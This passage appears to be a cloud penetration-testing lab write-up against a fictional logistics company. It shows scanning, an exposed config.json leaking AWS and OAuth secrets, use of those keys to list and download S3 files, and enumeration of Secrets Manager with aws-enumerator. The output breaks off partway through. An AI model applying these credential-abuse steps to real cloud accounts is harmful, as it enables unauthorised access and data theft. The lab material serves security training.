</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.30s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">999</span> filtered tcp ports <span style="color:#f92672">(</span>no-response<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE
</span></span><span style="display:flex;"><span>80/tcp open  http
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 33.79 seconds
</span></span></code></pre></div><p>We visit the site and we are presented with the following landing page</p>
<p><img src="/assets/pwn_20240702091926.png" alt=""></p>
<p>Now that we have found a site, time to do some further enumeration to get an understanding of the land.  There are a number of tools that can be used and my personal preference is initially <code>feroxbuster</code> for initial scan and then I switch across to <code>ffuf</code> as required.  We are running a scan without recursion and looking for common file extensions and have found a <code>config.json</code> file</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ feroxbuster -u http://52.0.51.234 -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -n -x json txt conf bak xml yml yaml env txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> ___  ___  __   __     __      __         __   ___
</span></span><span style="display:flex;"><span>|__  |__  |__<span style="color:#f92672">)</span> |__<span style="color:#f92672">)</span> | /  <span style="color:#e6db74">`</span>    /  <span style="color:#ae81ff">\ \_</span>/ | |  <span style="color:#ae81ff">\ </span>|__
</span></span><span style="display:flex;"><span>|    |___ |  <span style="color:#ae81ff">\ </span>|  <span style="color:#ae81ff">\ </span>| <span style="color:#ae81ff">\_</span>_,    <span style="color:#ae81ff">\_</span>_/ / <span style="color:#ae81ff">\ </span>| |__/ |___
</span></span><span style="display:flex;"><span>by Ben <span style="color:#e6db74">&#34;epi&#34;</span> Risher 🤓                 ver: 2.10.4
</span></span><span style="display:flex;"><span>───────────────────────────┬──────────────────────
</span></span><span style="display:flex;"><span> 🎯  Target Url            │ http://52.0.51.234
</span></span><span style="display:flex;"><span> 🚀  Threads               │ <span style="color:#ae81ff">50</span>
</span></span><span style="display:flex;"><span> 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
</span></span><span style="display:flex;"><span> 👌  Status Codes          │ All Status Codes!
</span></span><span style="display:flex;"><span> 💥  Timeout <span style="color:#f92672">(</span>secs<span style="color:#f92672">)</span>        │ <span style="color:#ae81ff">7</span>
</span></span><span style="display:flex;"><span> 🦡  User-Agent            │ feroxbuster/2.10.4
</span></span><span style="display:flex;"><span> 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
</span></span><span style="display:flex;"><span> 🔎  Extract Links         │ true
</span></span><span style="display:flex;"><span> 💲  Extensions            │ <span style="color:#f92672">[</span>json, txt, conf, bak, xml, yml, yaml, env, txt<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> 🏁  HTTP methods          │ <span style="color:#f92672">[</span>GET<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> 🚫  Do Not Recurse        │ true
</span></span><span style="display:flex;"><span>───────────────────────────┴──────────────────────
</span></span><span style="display:flex;"><span> 🏁  Press <span style="color:#f92672">[</span>ENTER<span style="color:#f92672">]</span> to use the Scan Management Menu™
</span></span><span style="display:flex;"><span>──────────────────────────────────────────────────
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">404</span>      GET        9l       31w      273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">403</span>      GET        9l       28w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      308c http://52.0.51.234/img <span style="color:#f92672">=</span>&gt; http://52.0.51.234/img/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET        5l      264w    11231c http://52.0.51.234/css/agency.min.css
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      308c http://52.0.51.234/css <span style="color:#f92672">=</span>&gt; http://52.0.51.234/css/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET       75l      244w     2807c http://52.0.51.234/js/contact_me.js
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET       52l      278w    27787c http://52.0.51.234/img/about/2.jpg
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET        6l       25w     1092c http://52.0.51.234/js/agency.min.js
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET       25l      154w    12398c http://52.0.51.234/img/about/1.jpg
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      307c http://52.0.51.234/js <span style="color:#f92672">=</span>&gt; http://52.0.51.234/js/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET      221l     1617w   104367c http://52.0.51.234/img/2.png
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET        4l       66w    31000c http://52.0.51.234/vendor/font-awesome/css/font-awesome.min.css
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET        7l      883w    69453c http://52.0.51.234/vendor/bootstrap/js/bootstrap.bundle.min.js
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET      937l     2655w    37173c http://52.0.51.234/js/jqBootstrapValidation.js
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET        7l     1429w   127343c http://52.0.51.234/vendor/bootstrap/css/bootstrap.min.css
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET    10473l    61109w  5805642c http://52.0.51.234/img/portfolio/33.jpg
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET     4576l    26608w  2182772c http://52.0.51.234/img/portfolio/11.jpg
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET       20l       36w      832c http://52.0.51.234/config.json
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET     9055l    52213w  4615185c http://52.0.51.234/img/portfolio/22.jpg
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">200</span>      GET      447l     1246w    18312c http://52.0.51.234/
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">301</span>      GET        9l       28w      311c http://52.0.51.234/vendor <span style="color:#f92672">=</span>&gt; http://52.0.51.234/vendor/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span><span style="color:#75715e">####################] - 19m   201550/201550  0s      found:19      errors:8</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span><span style="color:#75715e">####################] - 19m   201160/201160  172/s   http://52.0.51.234/ </span>
</span></span></code></pre></div><p>We use <code>curl</code> to retrieve the contents of the file and we have found a Access and Secret Key as well as an S3 Bucket and OAuth Settings.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl http://52.0.51.234/config.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;aws&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;accessKeyID&#34;</span>: <span style="color:#e6db74">&#34;AKIAWHEOTHRFYM6CAHHG&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;secretAccessKey&#34;</span>: <span style="color:#e6db74">&#34;chMbGqbKdpwGOOLC9B53p+bryVwFFTkDNWAmRXCa&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;region&#34;</span>: <span style="color:#e6db74">&#34;us-east-1&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;bucket&#34;</span>: <span style="color:#e6db74">&#34;hl-data-download&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;endpoint&#34;</span>: <span style="color:#e6db74">&#34;https://s3.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;serverSettings&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;port&#34;</span>: 443,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;timeout&#34;</span>: <span style="color:#ae81ff">18000000</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;oauthSettings&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;authorizationURL&#34;</span>: <span style="color:#e6db74">&#34;https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/authorize&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;tokenURL&#34;</span>: <span style="color:#e6db74">&#34;https://auth.hugelogistics.com/ms_oauth/oauth2/endpoints/oauthservice/tokens&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;clientID&#34;</span>: <span style="color:#e6db74">&#34;1012aBcD3456EfGh&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;clientSecret&#34;</span>: <span style="color:#e6db74">&#34;aZ2x9bY4cV6wL8kP0sT7zQ5oR3uH6j&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;callbackURL&#34;</span>: <span style="color:#e6db74">&#34;https://portal.huge-logistics/callback&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;userProfileURL&#34;</span>: <span style="color:#e6db74">&#34;https://portal.huge-logistics.com/ms_oauth/resources/userprofile/me&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We use the credentials found and then verify that these work by running <code>aws sts get-caller-identity</code> which is the equivalent of the <code>whoami</code> command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws configure --profile pentester
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>****************NWX4<span style="color:#f92672">]</span>: AKIAWHEOTHRFYM6CAHHG
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>****************TxXp<span style="color:#f92672">]</span>: chMbGqbKdpwGOOLC9B53p+bryVwFFTkDNWAmRXCa
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: us-east-1
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDAWHEOTHRF7MLFMRGYH&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:user/data-bot&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>With working credentials we will see if we are able to get any information initially from the bucket that was listed in the <code>config.json</code> file, but all we find are what appears to be transaction logs.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3 ls s3://hl-data-download
</span></span><span style="display:flex;"><span>2023-08-06 05:56:58       <span style="color:#ae81ff">5200</span> LOG-1-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:57:05       <span style="color:#ae81ff">5200</span> LOG-10-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:58:04       <span style="color:#ae81ff">5200</span> LOG-100-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:57:05       <span style="color:#ae81ff">5200</span> LOG-11-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:57:06       <span style="color:#ae81ff">5200</span> LOG-12-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:57:07       <span style="color:#ae81ff">5200</span> LOG-13-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:57:08       <span style="color:#ae81ff">5200</span> LOG-14-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:57:08       <span style="color:#ae81ff">5200</span> LOG-15-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:57:09       <span style="color:#ae81ff">5200</span> LOG-16-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:57:09       <span style="color:#ae81ff">5200</span> LOG-17-TRANSACT.csv
</span></span><span style="display:flex;"><span>2023-08-06 05:57:10       <span style="color:#ae81ff">5200</span> LOG-18-TRANSACT.csv
</span></span><span style="display:flex;"><span>&lt; -- snip --&gt;
</span></span></code></pre></div><p>We copy one of the files and it is a list of transactions as expected by the title of the file</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3 cp s3://hl-data-download/LOG-1-TRANSACT.csv .
</span></span><span style="display:flex;"><span>download: s3://hl-data-download/LOG-1-TRANSACT.csv to ./LOG-1-TRANSACT.csv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ head LOG-1-TRANSACT.csv
</span></span><span style="display:flex;"><span>Bx8w4Pky82Z19,HL-CUST-ORDER-0751,USD,15000,APPROVED
</span></span><span style="display:flex;"><span>2R8mHt3eZNJQx,HL-CUST-ORDER-8604,USD,15000,APPROVED
</span></span><span style="display:flex;"><span>Ek0k74vQDhHUd,HL-CUST-ORDER-1962,USD,15000,APPROVED
</span></span><span style="display:flex;"><span>u2NQYYTBAjG8B,HL-CUST-ORDER-1642,USD,15000,APPROVED
</span></span><span style="display:flex;"><span>W2RYflhi2BfjF,HL-CUST-ORDER-4037,USD,15000,APPROVED
</span></span><span style="display:flex;"><span>PubhFWge7qcDU,HL-CUST-ORDER-6051,USD,15000,APPROVED
</span></span><span style="display:flex;"><span>UhI69Dsk6uhgs,HL-CUST-ORDER-0529,USD,15000,APPROVED
</span></span><span style="display:flex;"><span>XObtFax8b0t1o,HL-CUST-ORDER-2706,USD,15000,APPROVED
</span></span><span style="display:flex;"><span>PfA3yd2F8GBVS,HL-CUST-ORDER-4431,USD,15000,APPROVED
</span></span><span style="display:flex;"><span>JhFJuR3awbxOM,HL-CUST-ORDER-9252,USD,15000,APPROVED
</span></span></code></pre></div><p>We will use <code>aws-enumerator</code> to see what other permissions that we may have and first we need to set up our credentials and then we will enumerate the services and can see that we have permissions to DynamoDB, SecretsManager and STS.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws-enumerator cred -aws_region us-east-1 -aws_access_key_id AKIAWHEOTHRFYM6CAHHG -aws_secret_access_key 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
</span></span><span style="display:flex;"><span>Message:  File .env with AWS credentials were created in current folder
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws-enumerator enum services -all
</span></span><span style="display:flex;"><span>Message:  Successful APPMESH: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Message:  Successful AMPLIFY: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>&lt; -- snip -- &gt;
</span></span><span style="display:flex;"><span>Message:  Successful EKS: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Message:  Successful DEVICEFARM: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>Message:  Successful DYNAMODB: <span style="color:#ae81ff">1</span> / <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>Message:  Successful ECR: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>&lt; -- snip -- &gt;
</span></span><span style="display:flex;"><span>Message:  Successful S3: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Message:  Successful SECRETSMANAGER: <span style="color:#ae81ff">1</span> / <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>Message:  Successful SECURITYHUB: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>&lt; -- snip -- &gt;
</span></span><span style="display:flex;"><span>Message:  Successful STS: <span style="color:#ae81ff">2</span> / <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>Message:  Successful SSM: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">16</span>
</span></span><span style="display:flex;"><span>&lt; -- snip -- &gt;
</span></span><span style="display:flex;"><span>Time: 1m3.011993624s
</span></span><span style="display:flex;"><span>Message:  Enumeration finished
</span></span></code></pre></div><p>We will dump out the permissions to give us some more details on these permissions and what our next step will be.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws-enumerator dump -services dynamodb,secretsmanager,sts -filter List
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------- DYNAMODB -------------------------------------------------------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---------------------------------------------------------- SECRETSMANAGER ----------------------------------------------------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ListSecrets
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--------------------------------------------------------------- STS ---------------------------------------------------------------
</span></span></code></pre></div><p>We can see that we have ListSecrets and we could retrieve this by using the AWS CLI, but we also have the ability to do this using <code>aws-enumerator</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws-enumerator dump -services secretsmanager -filter List -print
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>---------------------------------------------------------- SECRETSMANAGER ----------------------------------------------------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ListSecrets
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;ListSecrets&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;NextToken&#34;</span>: null,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;SecretList&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;ARN&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-admin-Bs8G8Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;CreatedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-12T18:14:35.74Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;DeletedDate&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Admin access to MySQL employee database&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;KmsKeyId&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastAccessedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-01T00:00:00Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastChangedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-12T18:15:38.909Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastRotatedDate&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Name&#34;</span>: <span style="color:#e6db74">&#34;employee-database-admin&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;OwningService&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;PrimaryRegion&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationEnabled&#34;</span>: false,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationLambdaARN&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationRules&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;SecretVersionsToStages&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#e6db74">&#34;41a82b5b-fb44-4ab3-8811-7ea171e9d3c1&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#e6db74">&#34;AWSCURRENT&#34;</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;ARN&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-rpkQvl&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;CreatedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-12T18:15:02.97Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;DeletedDate&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Access to MySQL employee database&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;KmsKeyId&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastAccessedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-01T00:00:00Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastChangedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-01T00:25:48.338Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastRotatedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-01T00:25:48.358Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Name&#34;</span>: <span style="color:#e6db74">&#34;employee-database&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;OwningService&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;PrimaryRegion&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationEnabled&#34;</span>: true,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationLambdaARN&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:lambda:us-east-1:427648302155:function:SecretsManagermysql-rotation&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationRules&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#e6db74">&#34;AutomaticallyAfterDays&#34;</span>: <span style="color:#ae81ff">7</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;SecretVersionsToStages&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#e6db74">&#34;01b3eb29-9102-46b5-ad2a-b5d48c4d08fa&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#e6db74">&#34;AWSCURRENT&#34;</span>,
</span></span><span style="display:flex;"><span>                                                <span style="color:#e6db74">&#34;AWSPENDING&#34;</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                                        <span style="color:#e6db74">&#34;be9a9249-c1e0-440b-abdd-83f65aa34956&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#e6db74">&#34;AWSPREVIOUS&#34;</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;ARN&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;CreatedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-04T21:19:28.466Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;DeletedDate&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Allow external partner to access cost optimization user and Huge Logistics resources&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;KmsKeyId&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastAccessedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-01T00:00:00Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastChangedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-06T20:10:16.392Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastRotatedDate&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Name&#34;</span>: <span style="color:#e6db74">&#34;ext/cost-optimization&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;OwningService&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;PrimaryRegion&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationEnabled&#34;</span>: false,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationLambdaARN&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationRules&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;SecretVersionsToStages&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#e6db74">&#34;f7d6ae91-5afd-4a53-93b9-92ee74d8469c&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#e6db74">&#34;AWSCURRENT&#34;</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;ARN&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;CreatedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-04T22:33:39.828Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;DeletedDate&#34;</span>: null,
